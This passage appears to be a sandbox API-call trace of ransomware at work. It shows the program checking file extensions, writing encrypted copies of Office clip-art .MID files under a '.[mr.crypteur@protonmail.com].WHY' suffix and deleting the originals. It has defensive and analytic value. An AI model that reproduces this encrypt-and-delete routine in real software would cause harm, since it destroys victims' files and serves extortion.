(lpString=".zip") returned 4 [0242.328] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.328] lstrlenW (lpString=".rar") returned 4 [0242.328] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.328] lstrlenW (lpString=".bz2") returned 4 [0242.328] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.328] lstrlenW (lpString=".7z") returned 3 [0242.328] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.328] lstrlenW (lpString=".dbf") returned 4 [0242.328] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.329] lstrlenW (lpString=".1cd") returned 4 [0242.329] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.329] lstrlenW (lpString=".jpg") returned 4 [0242.329] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.329] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0242.329] lstrlenW (lpString="PARNT_08.MID") returned 12 [0242.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0242.366] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=7347) returned 1 [0242.366] CloseHandle (hObject=0x354) returned 1 [0242.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0242.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.389] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0242.390] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0242.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0242.391] GetLastError () returned 0x0 [0242.391] ReadFile (in: hFile=0x384, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x1cb3, lpOverlapped=0x0) returned 1 [0242.396] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x1cc0, lpOverlapped=0x0) returned 1 [0242.400] ReadFile (in: hFile=0x384, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0242.400] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.400] SetEndOfFile (hFile=0x3a8) returned 1 [0242.400] CloseHandle (hObject=0x3a8) returned 1 [0242.406] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0242.406] SetEndOfFile (hFile=0x384) returned 1 [0242.412] CloseHandle (hObject=0x384) returned 1 [0242.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0242.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.414] lstrlenW (lpString=".doc") returned 4 [0242.415] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.415] lstrlenW (lpString=".docx") returned 5 [0242.415] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0242.415] lstrlenW (lpString=".pdf") returned 4 [0242.415] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.415] lstrlenW (lpString=".xls") returned 4 [0242.415] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.415] lstrlenW (lpString=".xlsx") returned 5 [0242.415] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0242.415] lstrlenW (lpString=".ppt") returned 4 [0242.415] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.415] lstrlenW (lpString=".zip") returned 4 [0242.416] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.416] lstrlenW (lpString=".rar") returned 4 [0242.416] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.416] lstrlenW (lpString=".bz2") returned 4 [0242.416] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.416] lstrlenW (lpString=".7z") returned 3 [0242.416] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.416] lstrlenW (lpString=".dbf") returned 4 [0242.416] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.416] lstrlenW (lpString=".1cd") returned 4 [0242.417] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.417] lstrlenW (lpString=".jpg") returned 4 [0242.417] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.417] lstrlenW (lpString=".doc") returned 4 [0242.417] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.417] lstrlenW (lpString=".docx") returned 5 [0242.417] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0242.418] lstrlenW (lpString=".pdf") returned 4 [0242.418] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.418] lstrlenW (lpString=".xls") returned 4 [0242.418] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.419] lstrlenW (lpString=".xlsx") returned 5 [0242.419] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0242.419] lstrlenW (lpString=".ppt") returned 4 [0242.419] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.419] lstrlenW (lpString=".zip") returned 4 [0242.419] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.419] lstrlenW (lpString=".rar") returned 4 [0242.419] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.419] lstrlenW (lpString=".bz2") returned 4 [0242.419] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.419] lstrlenW (lpString=".7z") returned 3 [0242.419] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.420] lstrlenW (lpString=".dbf") returned 4 [0242.420] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.420] lstrlenW (lpString=".1cd") returned 4 [0242.420] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.420] lstrlenW (lpString=".jpg") returned 4 [0242.420] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.421] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0242.421] lstrlenW (lpString="PARNT_09.MID") returned 12 [0242.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.422] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=6764) returned 1 [0242.422] CloseHandle (hObject=0x384) returned 1 [0242.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0242.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.423] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0242.423] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0242.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0242.424] GetLastError () returned 0x0 [0242.424] ReadFile (in: hFile=0x384, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x1a6c, lpOverlapped=0x0) returned 1 [0242.682] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0242.686] ReadFile (in: hFile=0x384, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0242.686] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.686] SetEndOfFile (hFile=0x3a8) returned 1 [0242.687] CloseHandle (hObject=0x3a8) returned 1 [0242.688] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0242.688] SetEndOfFile (hFile=0x384) returned 1 [0242.695] CloseHandle (hObject=0x384) returned 1 [0242.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0242.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.960] lstrlenW (lpString=".doc") returned 4 [0242.960] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.960] lstrlenW (lpString=".docx") returned 5 [0242.960] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0242.960] lstrlenW (lpString=".pdf") returned 4 [0242.960] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.960] lstrlenW (lpString=".xls") returned 4 [0242.960] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.960] lstrlenW (lpString=".xlsx") returned 5 [0242.960] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0242.960] lstrlenW (lpString=".ppt") returned 4 [0242.961] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.961] lstrlenW (lpString=".zip") returned 4 [0242.961] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.961] lstrlenW (lpString=".rar") returned 4 [0242.961] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.961] lstrlenW (lpString=".bz2") returned 4 [0242.961] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.961] lstrlenW (lpString=".7z") returned 3 [0242.961] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.961] lstrlenW (lpString=".dbf") returned 4 [0242.961] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.962] lstrlenW (lpString=".1cd") returned 4 [0242.962] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.962] lstrlenW (lpString=".jpg") returned 4 [0242.962] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.962] lstrlenW (lpString=".doc") returned 4 [0242.962] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.962] lstrlenW (lpString=".docx") returned 5 [0242.962] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0242.963] lstrlenW (lpString=".pdf") returned 4 [0242.963] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.963] lstrlenW (lpString=".xls") returned 4 [0242.963] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.963] lstrlenW (lpString=".xlsx") returned 5 [0242.963] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0242.963] lstrlenW (lpString=".ppt") returned 4 [0242.963] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.963] lstrlenW (lpString=".zip") returned 4 [0242.963] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.963] lstrlenW (lpString=".rar") returned 4 [0242.963] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.964] lstrlenW (lpString=".bz2") returned 4 [0242.964] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.964] lstrlenW (lpString=".7z") returned 3 [0242.964] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.964] lstrlenW (lpString=".dbf") returned 4 [0242.964] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.965] lstrlenW (lpString=".1cd") returned 4 [0242.965] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0242.965] lstrlenW (lpString=".jpg") returned 4 [0242.965] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.965] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0242.966] lstrlenW (lpString="ROAD_01.MID") returned 11 [0242.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.507] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=5983) returned 1 [0246.507] CloseHandle (hObject=0x354) returned 1 [0246.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20 [0246.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0247.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0247.814] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0247.814] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0247.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0247.816] GetLastError () returned 0x0 [0247.816] ReadFile (in: hFile=0x390, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x175f, lpOverlapped=0x0) returned 1 [0247.883] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x1760, lpOverlapped=0x0) returned 1 [0247.887] ReadFile (in: hFile=0x390, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0247.887] WriteFile (in: hFile=0x38c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xea, lpOverlapped=0x0) returned 1 [0247.887] SetEndOfFile (hFile=0x38c) returned 1 [0247.896] CloseHandle (hObject=0x38c) returned 1 [0247.901] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0247.901] SetEndOfFile (hFile=0x390) returned 1 [0247.923] CloseHandle (hObject=0x390) returned 1 [0247.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0248.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 1 [0248.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.094] lstrlenW (lpString=".doc") returned 4 [0248.094] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.094] lstrlenW (lpString=".docx") returned 5 [0248.095] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.095] lstrlenW (lpString=".pdf") returned 4 [0248.095] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.095] lstrlenW (lpString=".xls") returned 4 [0248.095] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.095] lstrlenW (lpString=".xlsx") returned 5 [0248.095] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.095] lstrlenW (lpString=".ppt") returned 4 [0248.095] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.095] lstrlenW (lpString=".zip") returned 4 [0248.095] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.095] lstrlenW (lpString=".rar") returned 4 [0248.095] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.095] lstrlenW (lpString=".bz2") returned 4 [0248.095] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.095] lstrlenW (lpString=".7z") returned 3 [0248.096] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.096] lstrlenW (lpString=".dbf") returned 4 [0248.096] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.096] lstrlenW (lpString=".1cd") returned 4 [0248.096] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.096] lstrlenW (lpString=".jpg") returned 4 [0248.096] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.097] lstrlenW (lpString=".doc") returned 4 [0248.097] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.097] lstrlenW (lpString=".docx") returned 5 [0248.097] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.097] lstrlenW (lpString=".pdf") returned 4 [0248.097] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.097] lstrlenW (lpString=".xls") returned 4 [0248.097] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.097] lstrlenW (lpString=".xlsx") returned 5 [0248.097] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.097] lstrlenW (lpString=".ppt") returned 4 [0248.097] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.098] lstrlenW (lpString=".zip") returned 4 [0248.098] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.098] lstrlenW (lpString=".rar") returned 4 [0248.098] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.098] lstrlenW (lpString=".bz2") returned 4 [0248.098] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.098] lstrlenW (lpString=".7z") returned 3 [0248.098] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.098] lstrlenW (lpString=".dbf") returned 4 [0248.098] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0248.098] lstrlenW (lpString=".1cd") returned 4 [0248.099] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.099] lstrlenW (lpString="C:\\Program 